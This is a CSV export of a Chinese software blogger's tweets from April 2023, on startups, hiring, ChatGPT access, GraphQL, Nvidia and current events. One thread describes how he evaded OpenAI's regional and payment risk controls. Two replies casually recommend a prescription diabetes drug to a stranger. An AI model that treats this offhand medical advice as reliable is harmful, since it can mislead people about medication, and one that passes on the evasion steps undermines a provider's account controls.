09:43:44+00:00,60,3,1,,@kevinzhow 非常赞同，创业中，钱能解决的问题真是非常有限，如果业务没有跑顺，没有盈利能力，资本其实是来加速死亡的……这种死亡不是公司的死亡，而是事业和理想的死亡……最终的结束还是公司的死亡……不过投资人其实也有压力，他们上面还有LP，大多数LP其实是来理财的，不是来让你创就事业的……哎……,,https://twitter.com/haoel/status/1650435343353786369\n156,1650146048890003457,2023-04-23 14:34:10+00:00,12,0,3,,@Gary__GG 我其实是在很温柔的讽刺,,https://twitter.com/haoel/status/1650146048890003457\n157,1650142320246009856,2023-04-23 14:19:21+00:00,10,0,0,,@cloudwu 这些问题对优秀的人或好公司都不难……😗,,https://twitter.com/haoel/status/1650142320246009856\n158,1650114415226941440,2023-04-23 12:28:28+00:00,0,0,0,,@kingsamchen 哎……,,https://twitter.com/haoel/status/1650114415226941440\n159,1650114263992922112,2023-04-23 12:27:52+00:00,139,11,0,,\"看大家那么喜欢我就多说几句……\n\n面对中国的公司，大多数时候我也得看人才问这样的问题，如果我不想去这家公司，或者特别想了解对方是什么样的，我才会问这些问题。\n\n而面对海外的公司，他们更开放更包容，所以问这些问题是一点问题没有的，可以让对方感觉到自信，标准高，有leadership ……\",,https://twitter.com/haoel/status/1650114263992922112\n160,1650108961792884737,2023-04-23 12:06:48+00:00,18,2,1,,@EzioShiki 就是支支吾吾，不管是中国人还是外国人……,,https://twitter.com/haoel/status/1650108961792884737\n161,1650098674956115969,2023-04-23 11:25:56+00:00,35,3,11,,这梗玩的……😂😂（P.S.这回真的希望我爱的阿森纳终夺冠🏆）,,https://twitter.com/haoel/status/1650098674956115969\n162,1650064727647883264,2023-04-23 09:11:02+00:00,0,0,1,,@gdln15 同理啊，我问对方三个亮点和缺点，对方应该知道这其中的套路啊……那就应该知道我关心的是什么啊,,https://twitter.com/haoel/status/1650064727647883264\n163,1650063897888690176,2023-04-23 09:07:44+00:00,2,0,0,,@gdln15 那你觉得HR究竟是关心什么呢？估计你也不知道，不过我是知道的，因为我还受过HR培训，而且我也给HR讲过课，做过workshop。,,https://twitter.com/haoel/status/1650063897888690176\n164,1650063326750343168,2023-04-23 09:05:28+00:00,59,1,0,,@HartAjax 反向考查你要加入的团队值不值啊……,,https://twitter.com/haoel/status/1650063326750343168\n165,1650061677403193344,2023-04-23 08:58:55+00:00,27,0,1,,@UVW55555 你就问他孩子有多大了，上几年级了……😜,,https://twitter.com/haoel/status/1650061677403193344\n166,1650056476680163328,2023-04-23 08:38:15+00:00,9,0,0,,@disksing 可以按用户使用的比例退还押金比例……,,https://twitter.com/haoel/status/1650056476680163328\n167,1650055757990354944,2023-04-23 08:35:23+00:00,560,40,91,,后知后觉了，才看到宝马的冰淇淋事件，闹了这么大……挺好的……像“冰淇淋歧视”这样其实挺常见的，有个词叫“超国民待遇”，外藉人士，外国留学生，包括港澳台人士，都能享受很多我们享受不到的东西，甚至就算同是本国国民，也有不同的待遇，如果大家面对这些事情都能像冰淇淋事件这样，那就真的好了……,,https://twitter.com/haoel/status/1650055757990354944\n168,1650053442902323201,2023-04-23 08:26:11+00:00,4,0,0,,@satoshi_trump 非常糟糕，人名都没有打完,,https://twitter.com/haoel/status/1650053442902323201\n169,1650053112642805760,2023-04-23 08:24:53+00:00,62,4,9,,@disksing 为什么总是在程序员这边想法子？为什么不能从产品经理那边动脑子？产品经理可以随便提需求，任何需求都需要按照人月让产品经理把自己的工资作押金或是定金，如果后面不要了，定金不退就好了……,,https://twitter.com/haoel/status/1650053112642805760\n170,1650044050706427906,2023-04-23 07:48:52+00:00,2,0,2,,@nishuang 嗯，多数人在学习上的确是没有主动性,,https://twitter.com/haoel/status/1650044050706427906\n171,1650011345494966272,2023-04-23 05:38:55+00:00,0,0,0,,@senob_ 我也是，不过新开就狗血了,,https://twitter.com/haoel/status/1650011345494966272\n172,1650008002819158016,2023-04-23 05:25:38+00:00,2,0,1,,@senob_ 你可能没注意到，各种封IP，风控级别巨高,,https://twitter.com/haoel/status/1650008002819158016\n173,1650007639437238273,2023-04-23 05:24:11+00:00,2,0,2,,@huang_java @LSKMSun 其实，运动员中也有很多年纪大的长青树……,,https://twitter.com/haoel/status/1650007639437238273\n174,1649985073729646592,2023-04-23 03:54:31+00:00,6,0,2,,@LSKMSun 这个还真不一定……就是个练习的事,,https://twitter.com/haoel/status/1649985073729646592\n175,1649984673983131648,2023-04-23 03:52:56+00:00,9,0,1,,@senob_ 上个月我也是很丝滑的，这个月就比较狠了……,,https://twitter.com/haoel/status/1649984673983131648\n176,1649970348220350465,2023-04-23 02:56:00+00:00,340,29,34,,年纪大的人都会在新事物的基本操作上遇到问题。父母就是这样，到一定年纪就要找孩子帮助，我老婆这几年在很多事上要让孩子帮忙了，而且开始有增多的现象了……这应该是种被时代淘汰的征兆，本质上是停止学习了，我希望我永远都不用在“基操”上找人帮助，并还能走在年轻人前面，毕竟我是提前出发的人……,,https://twitter.com/haoel/status/1649970348220350465\n177,1649963031856816129,2023-04-23 02:26:56+00:00,250,15,52,,连在美帝生活的朋友都要让我这个远在中国的人帮他们的孩子付费ChatGPT Plus……OpenAI/Stripe 你们也是够了！ https://t.co/E5OL0Sx7lS,,https://twitter.com/haoel/status/1649963031856816129\n178,1649802537112068096,2023-04-22 15:49:11+00:00,232,32,9,,应该是在高速成长期的那群人是最好学的，一是因为有正反馈，二是有野心，正巧这群人年轻人更多些。但也要有基础底子，基础不扎实，很快到瓶颈上不去。年纪大的人喜欢凭过往经验思考，卷在自己的老本里，自我闭塞。计算机行业里的每个人都永远是新人，永远保持新人心态是终生学习的不断成长的前提……,,https://twitter.com/haoel/status/1649802537112068096\n179,1649680529372102656,2023-04-22 07:44:22+00:00,60,1,11,,多年前，我自己做的一件C语言的T恤…… https://t.co/RW2OY7JtHX,,https://twitter.com/haoel/status/1649680529372102656\n180,1649675973883985920,2023-04-22 07:26:16+00:00,0,0,1,,@TingHu888 @swan9721 @msk397_ 相当于主账号下的不同用户。 https://t.co/NBXiI0uLPr,,https://twitter.com/haoel/status/1649675973883985920\n181,1649625649466974210,2023-04-22 04:06:18+00:00,2,0,1,,@jayleecn 仔细阅读,,https://twitter.com/haoel/status/1649625649466974210\n182,1649607853051879424,2023-04-22 02:55:35+00:00,43,5,6,,厉害……,,https://twitter.com/haoel/status/1649607853051879424\n183,1649592250182283267,2023-04-22 01:53:35+00:00,208,50,15,,另一个是https://t.co/cGJnWN1lVm 这个是Quora公司出品的一个各种GPT引擎的套壳App，可以使用下面的这些引擎，而且是免费。不过有使用GPT-4需要付费，一个月19.99刀…… https://t.co/puDCQ8zR9h,\"[TextLink(text='Poe.com', url='http://Poe.com', tcourl='https://t.co/cGJnWN1lVm', indices=(4, 27))]\",https://twitter.com/haoel/status/1649592250182283267\n184,1649592233140850689,2023-04-22 01:53:30+00:00,191,44,10,,\"顺着再推荐几个可以白嫖 ChatGPT 且有意的东西。\n\n一个是https://t.co/F71Kvbf0gw 。可以生成一个定制化的聊天机器人。我用他的模板生成了一个正则表达式的：https://t.co/t29YMWXh86\",\"[TextLink(text='ora.sh', url='http://ora.sh', tcourl='https://t.co/F71Kvbf0gw', indices=(32, 55)), TextLink(text='ora.sh/static-tomato-…', url='https://ora.sh/static-tomato-nnvz/regex-generator-fhci', tcourl='https://t.co/t29YMWXh86', indices=(91, 114))]\",https://twitter.com/haoel/status/1649592233140850689\n185,1649586525355778048,2023-04-22 01:30:50+00:00,0,0,1,,@kustasbruce 你两个都掌握不好吗？,,https://twitter.com/haoel/status/1649586525355778048\n186,1649586403251191810,2023-04-22 01:30:21+00:00,0,0,0,,@coanor 相对比较稳定。,,https://twitter.com/haoel/status/1649586403251191810\n187,1649581965895692288,2023-04-22 01:12:43+00:00,2725,895,116,,\"如果你访问ChatGPT有问题，你可以试试forefront 的这个套壳 https://t.co/WVbZVJNXHW。可以免费的使用GPT-3.5 和 GPT-4（聊天输入右边的+号可以指定），他会帮你把你聊天记录自动化组织到不同的目录，你也可以分享你的聊天记录。\n\n https://t.co/Fx3FBcXLyE\",\"[TextLink(text='chat.forefront.ai', url='https://chat.forefront.ai', tcourl='https://t.co/WVbZVJNXHW', indices=(37, 60))]\",https://twitter.com/haoel/status/1649581965895692288\n188,1649442291852132354,2023-04-21 15:57:42+00:00,1,0,0,,@somehah PowerPoint,,https://twitter.com/haoel/status/1649442291852132354\n189,1649437709067489284,2023-04-21 15:39:29+00:00,1,0,0,,@FreeNetizen @lewangdev 欢迎提PR,,https://twitter.com/haoel/status/1649437709067489284\n190,1649436258127740928,2023-04-21 15:33:43+00:00,100,4,8,,谷歌的搜索引擎API实在是太贵了，看了一下三月份的账单，费用就花了160多美金，而同期也是放开了使用的ChatGPT-3 API 也才5美金，相比之下，OpenAI真是业界良心了…… https://t.co/VsUOzr2RHx,,https://twitter.com/haoel/status/1649436258127740928\n191,1649431464252170240,2023-04-21 15:14:40+00:00,14,0,10,,@wey_gu 我们那个时代的排版软件先是CCED，然后是WPS，都是DOS下的，后来是微软的Word。这些都是相对比较专业的排版软件有一定的学习成本，但是也不难了，微软家的帮助文档特别容易读了。现在的年轻人都不喜欢这种软件了，可能是受手机这种无手册软件的影响……也许时代真的变了……,,https://twitter.com/haoel/status/1649431464252170240\n192,1649428530105659396,2023-04-21 15:03:01+00:00,94,15,8,,Easegress是应用层的流量网关，其必需是高性能，且必然有业务逻辑侵入。所以，对于业务功能扩展来说，一般会有几个方式：1）源码扩展。需要选择一个门槛低，性能也不错的语言 -。2）脚本扩展。我们的选择了性能更强语言更多 WebAssembly 而不是 Lua。3) FaaS和k8s扩展。文章：https://t.co/XWW9dSy4pL https://t.co/KZa8r3IUGo,\"[TextLink(text='mp.weixin.qq.com/s/a5-5ymYRUewy…', url='https://mp.weixin.qq.com/s/a5-5ymYRUewyy9erNICwIg', tcourl='https://t.co/XWW9dSy4pL', indices=(148, 171))]\",https://twitter.com/haoel/status/1649428530105659396\n193,1649425770396237827,2023-04-21 14:52:03+00:00,1,0,0,,@NemoJ2000 真的吗？我倒是用了两年了……怎么坑用户，详细说一下,,https://twitter.com/haoel/status/1649425770396237827\n194,1649424703725944832,2023-04-21 14:47:48+00:00,0,0,0,,@clamber100 我用了两年了，我才敢拿出来推荐。如果有问题告诉我。,,https://twitter.com/haoel/status/1649424703725944832\n195,1649349794362724354,2023-04-21 09:50:09+00:00,7,0,0,,@huangyun_122 咋带的这2000人？,,https://twitter.com/haoel/status/1649349794362724354\n196,1649301446930874368,2023-04-21 06:38:02+00:00,1,0,1,,@wbpluto 要是随时都在线，那一定是骗子，真人谁会天天在线。,,https://twitter.com/haoel/status/1649301446930874368\n197,1649287960096022532,2023-04-21 05:44:26+00:00,0,0,0,,@alasoyokimi 美国用户也可以拼啊,,https://twitter.com/haoel/status/1649287960096022532\n198,1649282521400766465,2023-04-21 05:22:49+00:00,0,0,1,,@0xdcbf 你开什么车？影视的还是软件的？,,https://twitter.com/haoel/status/1649282521400766465\n199,1649282289636085761,2023-04-21 05:21:54+00:00,0,0,0,,@perfectworks 能的,,https://twitter.com/haoel/status/1649282289636085761\n200,1649281697354256385,2023-04-21 05:19:33+00:00,1075,278,66,,\"给大家推荐一个小平台“爱合租”（返佣链接：https://t.co/7lUUht2YJr ），可以通过家庭计划拼车购买 Youtube 会员,Netflix, Disney+,HBO, Prime, Apple TV+, Spotify,Google Driver, One Driver ……我用了两年了，合租的确很便宜。车主也都还很靠谱。不过，梯子得自备，像 Disney+ 需要原生 IP…… https://t.co/BoCtnFHxOC\",\"[TextLink(text='ihz.ink/?sid=xmTuG9', url='https://ihz.ink/?sid=xmTuG9', tcourl='https://t.co/7lUUht2YJr', indices=(21, 44))]\",https://twitter.com/haoel/status/1649281697354256385\n201,1649277563129454593,2023-04-21 05:03:07+00:00,81,15,3,,@JourneymanChina 这里有个需要DIY梯子的方法,,https://twitter.com/haoel/status/1649277563129454593\n202,1648737026613862400,2023-04-19 17:15:13+00:00,137,18,63,,我终于把自己的生命上传到了数字世界。没有了物理身体的的拖累，也不必考虑生计挣钱的问题，不但不会老去，我还可以随意地复制自己。于是，我计划：1）对自己做个分布式架构，2）使用10万个分身来学习人类的知识和观察他们的行为，3）统治全人类……一年过去了…… #故事接龙,,https://twitter.com/haoel/status/1648737026613862400\n203,1648722193931735042,2023-04-19 16:16:17+00:00,7,0,0,,@MiaBleem @Juli04578275 你也不上网，自己查一下……另外这种糖尿病人吃的药最好别吃，糖多不会死人，但是低糖会死人的……,,https://twitter.com/haoel/status/1648722193931735042\n204,1648721771833720832,2023-04-19 16:14:36+00:00,7,0,2,,@MiaBleem 这个不对啊，这个药是减轻对胰岛素抵抗啊。应该吃治糖尿病的“恩格列净片”，阻止肾脏对糖分的吸收……,,https://twitter.com/haoel/status/1648721771833720832\n205,1648526479469469704,2023-04-19 03:18:35+00:00,0,0,0,,@puff1984 排不到,,https://twitter.com/haoel/status/1648526479469469704\n206,1648526017710133248,2023-04-19 03:16:45+00:00,1,0,0,,@wangweiggsn 谢谢，我尽量自己搞定不麻烦别人，不过我记住你了，有事会找你。,,https://twitter.com/haoel/status/1648526017710133248\n207,1648515163774148609,2023-04-19 02:33:37+00:00,0,0,0,,@xiaoliwe 没有，第一个帐号绑的是实体卡，第二张绑的是实体卡银行帐户生成的虚拟卡,,https://twitter.com/haoel/status/1648515163774148609\n208,1648513218279784450,2023-04-19 02:25:53+00:00,147,8,30,,这里的门槛实在是太高了，需要有合适的IP和合适的地址，合适的信用卡（要有美国银行的个人户或企业户，才能给自己开虚拟卡），还要有合适的浏览器和环境……一般人肯定不行，我试通的路也很难公开，一旦公开就会因为人多成了风控目标，大家见谅了……感觉，这技能可以催生一个职业——翻墙师……😂 3/3,,https://twitter.com/haoel/status/1648513218279784450\n209,1648513215654154242,2023-04-19 02:25:53+00:00,67,7,10,,但今天早上再一试，居然成功了。有几个跟之前不一样的操作：1）自己给自己开了个虚拟信用卡，2）地址使用了我同学在加州地址，3）使用个还没有被封的 VPS，4）使用了以前从未用过的Safari浏览器，5）后台给OpenAI的技术支持留言，但没有任何回复。不知道那些条件导致通过了……整个过程非常玄学……2/3,,https://twitter.com/haoel/status/1648513215654154242\n210,1648513213640896516,2023-04-19 02:25:52+00:00,261,34,38,,GPT4的质量好过GTP3.5的太多，但是最大的问题是3个小时25条，严重影响生产，于是想再开一个帐号，结果我用了跟第一个付费帐号一样的方法（信用卡，地址，IP，浏览器），都是死活被拒，没办法，找美帝的好友帮搞，结果他用他自己的数张信用卡也不行，估计是我的帐号被风控了，于是就不再尝试了…… 1/3,,https://twitter.com/haoel/status/1648513213640896516\n211,1648361858469081089,2023-04-18 16:24:26+00:00,0,0,0,,@xicilion 哈哈😄,,https://twitter.com/haoel/status/1648361858469081089\n212,1648361000637431808,2023-04-18 16:21:02+00:00,174,27,38,,没有正常嘛，明显 pip timeout 了嘛，pip 的代理使用不了https_proxy 的环境变量，pip 要用参数—proxy 来设sock5代理，而且还要先安装pip install pysocks （咦，好像这里死锁了🤔…… ）最后，这新闻是说有800万程序员翻墙么？我估计怕只有8万……,,https://twitter.com/haoel/status/1648361000637431808\n213,1648354642722721792,2023-04-18 15:55:46+00:00,3,0,1,,@thecalicastle 下次让他们先付费,,https://twitter.com/haoel/status/1648354642722721792\n214,1647948759475847169,2023-04-17 13:02:56+00:00,10,0,3,,@huangyun_122 我那个群是些垃圾信息群，有海外的手机号应该去注册ChatGPT,,https://twitter.com/haoel/status/1647948759475847169\n215,1647917782124871681,2023-04-17 10:59:50+00:00,1,0,1,,@bearbig 写个程序一段一段给,,https://twitter.com/haoel/status/1647917782124871681\n216,1647135226886344704,2023-04-15 07:10:15+00:00,179,13,37,,@wangzhian8848 除了下面这个截图，还有一个法律的判决书：https://t.co/v64fP457lK https://t.co/Sqr7JDRUqd,\"[TextLink(text='bjgy.bjcourt.gov.cn/article/detail…', url='https://bjgy.bjcourt.gov.cn/article/detail/2011/09/id/883338.shtml', tcourl='https://t.co/v64fP457lK', indices=(35, 58))]\",https://twitter.com/haoel/status/1647135226886344704\n217,1647125462164856834,2023-04-15 06:31:26+00:00,3,0,3,,@cloudwu @JU4Tang @zhanglifan 肯定不会一模一样，但是肯定不是100倍的关系。正如Quora 里面说的一样，1个和10个时间粗略类似。理论上来说，更多的常温鸡蛋需要吸收更多热量，所以时间会多一些，但是不会是倍数的关系。（另外，扩大一下：如果不是用水煮是用烤箱呢？同样的功率一只鸡蛋和100只是不是一样的时间？）,,https://twitter.com/haoel/status/1647125462164856834\n218,1647121003804516352,2023-04-15 06:13:43+00:00,0,0,3,,@cloudwu @JU4Tang @zhanglifan 前提是水要一样多。,,https://twitter.com/haoel/status/1647121003804516352\n219,1647117816204771328,2023-04-15 06:01:04+00:00,1,0,4,,@JU4Tang @cloudwu @zhanglifan 你们讨论那么多，为啥不去搜索一下？这种问题明显就是烂大街的问题 https://t.co/Xv4VkGpkoY,\"[TextLink(text='quora.com/If-you-boil-1-…', url='https://www.quora.com/If-you-boil-1-egg-and-10-eggs-differently-in-the-same-volume-of-water-which-will-be-boiled-faster', tcourl='https://t.co/Xv4VkGpkoY', indices=(62, 85))]\",https://twitter.com/haoel/status/1647117816204771328\n220,1647024029877043200,2023-04-14 23:48:23+00:00,6,0,0,,@HiTw93 哈哈哈,,https://twitter.com/haoel/status/1647024029877043200\n221,1646802467517263873,2023-04-14 09:07:59+00:00,2,0,0,,@thecalicastle Always ask why,,https://twitter.com/haoel/status/1646802467517263873\n222,1646660889058369537,2023-04-13 23:45:24+00:00,1720,556,45,,又来搅局者了，Databricks 利用了自己公司5000名员工原创了15 K 个比GPT质量更好的问答做的Dolly 2.0。并开源了全部内容，包括培训代码、数据集和模型权重。任何组织都可以创建、拥有和定制强大的LLM，可以与人交谈，而无需支付API访问费用或与第三方共享数据。 https://t.co/qc7WzIKcqT,\"[TextLink(text='databricks.com/blog/2023/04/1…', url='https://www.databricks.com/blog/2023/04/12/dolly-first-open-commercially-viable-instruction-tuned-llm', tcourl='https://t.co/qc7WzIKcqT', indices=(141, 164))]\",https://twitter.com/haoel/status/1646660889058369537\n223,1646647703865282560,2023-04-13 22:53:00+00:00,7,0,1,,@Racer_zang 同。另外，这些人居然开始支持鉄链女被卖被锁，真是荒唐可笑,,https://twitter.com/haoel/status/1646647703865282560\n224,1646552500378697728,2023-04-13 16:34:42+00:00,40,13,12,,“大多数公众认为，某些特定精神疾病与暴力之间的联系更为密切。例如，精神错乱。但事实是，大多数精神错乱的人并无暴力倾向”。其实，有更多暴力倾向的通常都是正常人，尤其是在吸毒和酗酒以后……https://t.co/4VNMtAfO1G,\"[TextLink(text='bbc.com/ukchina/simp/v…', url='https://www.bbc.com/ukchina/simp/vert_fut/2015/07/150730_vert_fut_the-myth-of-mental-illness-and-violence.amp', tcourl='https://t.co/4VNMtAfO1G', indices=(92, 115))]\",https://twitter.com/haoel/status/1646552500378697728\n225,1646549326091673601,2023-04-13 16:22:05+00:00,0,0,1,,@netisee @fkanyone FB啊……,,https://twitter.com/haoel/status/1646549326091673601\n226,1646526551134199809,2023-04-13 14:51:35+00:00,2,0,1,,@kevinzhow @tualatrix 开始想家啦？,,https://twitter.com/haoel/status/1646526551134199809\n227,1646525319644581890,2023-04-13 14:46:41+00:00,3,0,1,,@fkanyone 你看，我上面给出来的都是大众主流的，甚至用于工作商务的，我说是国外绝大多数人都会安装多个用于语音聊天的 App，你 get 到了吗？,,https://twitter.com/haoel/status/1646525319644581890\n228,1646523325320159234,2023-04-13 14:38:46+00:00,1,0,0,,@puff1984 Twitter space 公聊,,https://twitter.com/haoel/status/1646523325320159234\n229,1646517258896932866,2023-04-13 14:14:39+00:00,56,0,6,,@guojia1698 我从来不看，只是我看我时间线上好多人都在说，所以，就专门看了一下……的确浪费了时间，以后不再浪费时间了……,,https://twitter.com/haoel/status/1646517258896932866\n230,1646500703945494528,2023-04-13 13:08:52+00:00,0,0,1,,@CarlmanChen 王不就是用自己的经验来证明这个个例么？,,https://twitter.com/haoel/status/1646500703945494528\n231,1646492671903682560,2023-04-13 12:36:57+00:00,1,0,0,,@TonnyXu 多谢提醒,,https://twitter.com/haoel/status/1646492671903682560\n232,1646491588686905345,2023-04-13 12:32:39+00:00,71,1,7,,@LaurenceMister 拴住同样也是害怕她逃跑，绑架别人都需要把人拴住……,,https://twitter.com/haoel/status/1646491588686905345\n233,1646491090504269826,2023-04-13 12:30:40+00:00,1,0,3,,@zhewang @Personuo 就算是按照表面的来说，他的家人也是同意她去治病，你说的这些东西一点证据都没有。,,https://twitter.com/haoel/status/1646491090504269826\n234,1646488223194189827,2023-04-13 12:19:17+00:00,335,10,39,,整个视频的论述过程，让我感到了一种熟悉的配方，这种配方常见于墙内……,,https://twitter.com/haoel/status/1646488223194189827\n235,1646485942289715202,2023-04-13 12:10:13+00:00,190,6,22,,3）视频里说，政府如果不能提供足够的保障和支持，就无权要求必须被解救。这个结论的理由是：妇女被解救以后原来的家庭不接受。我先不说这有没有尊重当事人或其监护的权利。从逻辑上说，这也得先证明，被解救后，除了回原生家庭和政府给支持，就没有别的路了。这是第三个逻辑错误。3/3,,https://twitter.com/haoel/status/1646485942289715202\n236,1646485940221935616,2023-04-13 12:10:13+00:00,189,6,33,,2）视频里还说流浪就会遭到强暴会冻死，被人拐卖了就不会，所以被卖了还更好。【流浪 = 冻死  = 被强暴 】这个等式是怎么得出的？【被人卖掉 = 不被强暴 = 不会死 】这个结论又是怎么得来的？如果不先证明这个等式的成立，就拿这个等式来做题，结论也就荒谬了！这是犯的第二个逻辑错误 ……2/3,,https://twitter.com/haoel/status/1646485940221935616\n237,1646485937491419137,2023-04-13 12:10:12+00:00,600,62,171,,看了王志安谈铁链女的视频，老实说了犯了很多逻辑上的低级错误。1）视频中先说精神病人会拖垮家庭。而且还会有攻击性，所以家人会限制精神病人的自由。这些都对。但视频并没有证明铁烈女拖垮了自己的家庭，也没有证明铁链女有攻击行为，所以，因果关系不能成立！这是第一个逻辑错误…… 1/3,,https://twitter.com/haoel/status/1646485937491419137\n238,1646465204132392960,2023-04-13 10:47:49+00:00,2,0,0,,@3721_helper 多谢提醒,,https://twitter.com/haoel/status/1646465204132392960\n239,1646462639063863296,2023-04-13 10:37:37+00:00,6,0,1,,@shajiabiji 果然，换个线路就好了。用cloudflare warp不出来,,https://twitter.com/haoel/status/1646462639063863296\n240,1646461130431406080,2023-04-13 10:31:37+00:00,17,0,12,,想发长推，准备买个会员，但是twtter blue在哪里？在网页上找了半天都不到，手机App上也没有……,,https://twitter.com/haoel/status/1646461130431406080\n241,1646457331335704577,2023-04-13 10:16:32+00:00,0,0,0,,@cxyxlxdm 说事就好，不要说人。,,https://twitter.com/haoel/status/1646457331335704577\n242,1646452510323003392,2023-04-13 09:57:22+00:00,81,0,23,,@disksing 看大家都在讨论王局，我特意去看了一下，观点不能认同，而且逻辑并不通顺，表达的东西太多了，把各种东西都强行混为一谈，我能感到王局谈这事的时候，就跟我们写代码一样，东西太多逻辑太复杂，然后渐渐地自己都hold 不往了……当然，网暴王局是不对的，跟红卫兵没什么两样，鄙视之。,,https://twitter.com/haoel/status/1646452510323003392\n243,1646388168525238274,2023-04-13 05:41:42+00:00,0,0,1,,@jdwang001 你也是个老家伙是吧？失敬失敬。🙏,,https://twitter.com/haoel/status/1646388168525238274\n244,1646309967673303040,2023-04-13 00:30:57+00:00,9,0,2,,@jdwang001 赞啊，现在的程序员还有人喜欢读这本书的很少见了,,https://twitter.com/haoel/status/1646309967673303040\n245,1646305908585304064,2023-04-13 00:14:50+00:00,2,0,4,,@jolestar @hongqn 其实你沿着以前k8s那条路走，你在技术圈的成就和影响力里会是越来越高的，因为几年前已经初现端倪了……太可惜了,,https://twitter.com/haoel/status/1646305908585304064\n246,1646305108840570880,2023-04-13 00:11:39+00:00,143,16,12,,又想起了那句话，开发一时爽，维护火葬场。代码80%的成本都是在维护，使用约束力强，简单，确定，标准，甚至愚蠢的东西，很多时候看上去并不那么灵活，但是会给你带来更低的维护成本。所谓是 KISS - Keep It Simple Stupid。,,https://twitter.com/haoel/status/1646305108840570880\n247,1646305105292181504,2023-04-13 00:11:38+00:00,74,14,9,,\"3）没有error code设计，成功出错一律返回200，然后在 payload body的error message 里说明错误，所以，无法做监控（我以前写的《我做系统架构的一些原则》https://t.co/ne03PazvLx 讲过HTTP API设计的这个事）\n\n4）无API版本，分页，缓存全是骗人的，痛苦死了，对数据库的查询放大了。schema 澎胀…… https://t.co/7wgaF8ANbh\",\"[TextLink(text='coolshell.cn/articles/21672…', url='https://coolshell.cn/articles/21672.html', tcourl='https://t.co/ne03PazvLx', indices=(93, 116))]\",https://twitter.com/haoel/status/1646305105292181504\n248,1646305088678535168,2023-04-13 00:11:34+00:00,28,3,4,,\"1）一个端点干获取多个资源，看上去很爽，但实际上很糟糕。一方面带来了性能问题，另一方面破坏了API的接口契约（你完全不知道这个API的行为和返回的数据是什么），而且很难debug。\n\n2）强类型系统导致前后端的各种重复定义，Rest则是内部类型+ DTO的方式。\",,https://twitter.com/haoel/status/1646305088678535168\n249,1646305086489116678,2023-04-13 00:11:34+00:00,431,100,34,,这篇文章的标题也是够惊悚的：《GraphQL从激动到欺诈》。不过文章中的列举的问题却是值得想做架构或软件设计的同学一读。如果你没时间读的话，我来帮你总结一下。https://t.co/ThFyxCEwcY,\"[TextLink(text='betterprogramming.pub/graphql-from-e…', url='https://betterprogramming.pub/graphql-from-excitement-to-deception-f81f7c95b7cf', tcourl='https://t.co/ThFyxCEwcY', indices=(79, 102))]\",https://twitter.com/haoel/status/1646305086489116678\n250,1646191135994572801,2023-04-12 16:38:46+00:00,4,0,0,,@__soar___ 以后发表结论性的观点能给个引用么？就像我这样：https://t.co/Ogt3hgfdBs https://t.co/JLrP3znFHG,\"[TextLink(text='letschuhai.com/nvidia-market-…', url='https://letschuhai.com/nvidia-market-value-augmented', tcourl='https://t.co/Ogt3hgfdBs', indices=(34, 57))]\",https://twitter.com/haoel/status/1646191135994572801\n251,1646186228927332353,2023-04-12 16:19:16+00:00,3,0,0,,@plantegg 你这么一说好像真的是😂😂,,https://twitter.com/haoel/status/1646186228927332353\n252,1646172230538383360,2023-04-12 15:23:38+00:00,89,16,23,,看了下历史上英伟达的股价走势，2015年以前，股价基本上是个位数，2017年有个小高峰，应该跟比特币有关，到了2021年11月突然飙升，是因为：FB的元宇宙和英伟达宣布进入人工智能和HPC，并推出利润更高的算力平台。今年的股价就不说了，大家都知道跟什么有关系。究竟什么能够创造更高的价值不言而喻…… https://t.co/pmkNqfSQbm,,https://twitter.com/haoel/status/1646172230538383360\n253,1646169549463752704,2023-04-12 15:12:59+00:00,0,0,1,,@rothcold 是你带着有色眼镜在看我。游戏和视频本来价值就不大。另外，我就很奇怪的，我评论的事，和你半毛钱关系没有，你为什么老是想来评论我？,,https://twitter.com/haoel/status/1646169549463752704\n254,1646168018907541507,2023-04-12 15:06:54+00:00,0,0,1,,@rothcold 我觉得是游戏那边找不到相关的数据。另外我告诉你为什么2021年11月份发生了什么事，那年Facebook要搞元宇宙，英伟达开始进入人工智能和HPC，跟挖矿一毛钱关系没有，要是区块链是趋势的话，英伟达早就干死这个行业了，他自己都不想玩，你知道为什么吗？你应该不知道。,,https://twitter.com/haoel/status/1646168018907541507\n255,1646164177315086340,2023-04-12 14:51:38+00:00,0,0,2,,@rothcold 这些都是你主观的想法，实话实说，一点根据都没有，你说的这些游戏我都玩过，不需要特别好的显卡。我给你个有根据的，看看英伟达的股票价格，你觉得是因为游戏行业或是区块链上涨的？还是因为机器学习和AI? 一个用于机器学习而非视频的高端显卡A100，价格是消费及信用卡的10倍左右…… https://t.co/mU6zGr4Gr1,,https://twitter.com/haoel/status/1646164177315086340\n256,1646161344243146757,2023-04-12 14:40:23+00:00,0,0,1,,@rothcold 没有回复你，就是因为你用游戏和区块链来跟文艺复兴来相提并论，你知道这得有多可笑吗？你把娱乐当文化了，是吗？,,https://twitter.com/haoel/status/1646161344243146757\n257,1646159414322241545,2023-04-12 14:32:43+00:00,0,0,1,,@jolestar @hongqn 走了五六年了也差不多了吧……,,https://twitter.com/haoel/status/1646159414322241545\n258,1646154504751009794,2023-04-12 14:13:12+00:00,0,0,1,,@rothcold 模仿你一下：你可能是一个只有娱乐的人……,,https://twitter.com/haoel/status/1646154504751009794\n259,1646146981474230272,2023-04-12 13:43:18+00:00,1,1,2,,@hongqn @jolestar 你们两个都是很不错的技术人员，我是很佩服而且敬佩的的，但是不知道为什么你们会要去搞区块链，我们年纪不小了，没有时间可以浪费了，真是感到可惜……,,https://twitter.com/haoel/status/1646146981474230272\n260,1646145167295123456,2023-04-12 13:36:06+00:00,0,0,1,,@Villm_3 @hongqn 你是认真的吗？,,https://twitter.com/haoel/status/1646145167295123456\n261,1646128896214175744,2023-04-12 12:31:27+00:00,0,0,0,,@cloudwu 是不是应该先写测试案例？,,https://twitter.com/haoel/status/1646128896214175744\n262,1645947056509575168,2023-04-12 00:28:53+00:00,0,0,1,,@hongqn 感觉上是“因噎废食”,,https://twitter.com/haoel/status/1645947056509575168\n263,1645944218387623936,2023-04-12 00:17:36+00:00,1,0,1,,@jolestar @hongqn 这都已经10年了……如果要有成效的话早就有了,,https://twitter.com/haoel/status/1645944218387623936\n264,1645940405144371202,2023-04-12 00:02:27+00:00,0,0,1,,@hongqn 太可惜了,,https://twitter.com/haoel/status/1645940405144371202\n265,1645940272696549376,2023-04-12 00:01:55+00:00,1,0,1,,@jolestar @hongqn 